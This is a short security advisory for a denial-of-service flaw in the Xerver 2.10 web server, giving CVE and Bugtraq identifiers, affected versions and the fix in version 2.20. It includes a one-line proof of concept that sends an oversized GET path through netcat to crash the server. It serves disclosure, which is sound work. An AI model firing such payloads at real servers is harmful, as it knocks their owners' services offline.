Xerver Multiple Request Denial Of Service Vulnerability

Bugtraq ID:	4254
Class:	Failure to Handle Exceptional Conditions
CVE:	CVE-2002-0448
Remote:	No
Local:	Yes
Published:	Mar 08 2002 12:00AM
Updated:	Jul 12 2009 05:56PM
Credit:	Discovery of this issue is credited to Alex Hernandez <[email protected]>.
Vulnerable:	Xerver Xerver 2.10 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home
Not Vulnerable:	Xerver Xerver 2.20 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home

Xerver Multiple Request Denial Of Service Vulnerability

The following example was submitted:

printf "GET /`perl -e 'print "C:/"x500000'`\r\n\r\n" |nc -vvn 127.0.0.1 32123

Xerver Multiple Request Denial Of Service Vulnerability

Solution:
This issue has been addressed in Xerver 2.20.


Xerver Xerver 2.10

• Xerver Xerver 2.20
  http://www.javascript.nu/xerver/